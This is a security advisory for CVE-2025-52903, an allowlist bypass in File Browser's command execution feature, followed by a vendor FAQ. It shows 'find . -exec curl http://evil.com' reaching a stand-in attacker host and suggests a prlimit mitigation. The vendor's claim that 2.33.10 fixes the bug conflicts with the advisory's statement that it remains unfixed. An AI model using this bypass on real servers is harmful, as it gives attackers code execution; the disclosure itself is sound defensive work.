Summary
[!NOTE]
This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
- https://gtfobins.github.io/gtfobins/cpio
- https://gtfobins.github.io/gtfobins/find
- https://gtfobins.github.io/gtfobins/sed
- https://gtfobins.github.io/gtfobins/git
- https://gtfobins.github.io/gtfobins/env
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline
2025-03-26Identified the vulnerability in version 2.32.02025-06-25Uploaded advisories to the project's GitHub repository2025-06-25CVE ID assigned by GitHub2025-06-25A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References
Credits
- Mathias Tausig (SBA Research)
Impact
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
CVE-2025-52903 has a CVSS score of 8.0 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.33.10); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-52903? CVE-2025-52903 is a high-severity command injection vulnerability in github.com/filebrowser/filebrowser/v2 (go), affecting versions < 2.33.10. It is fixed in 2.33.10. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- How severe is CVE-2025-52903? CVE-2025-52903 has a CVSS score of 8.0 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/filebrowser/filebrowser/v2 are affected by CVE-2025-52903? github.com/filebrowser/filebrowser/v2 (go) versions < 2.33.10 is affected.
- Is there a fix for CVE-2025-52903? Yes. CVE-2025-52903 is fixed in 2.33.10. Upgrade to this version or later.
- Is CVE-2025-52903 exploitable, and should I be worried? Whether CVE-2025-52903 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-52903 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-52903? Upgrade
github.com/filebrowser/filebrowser/v2to 2.33.10 or later.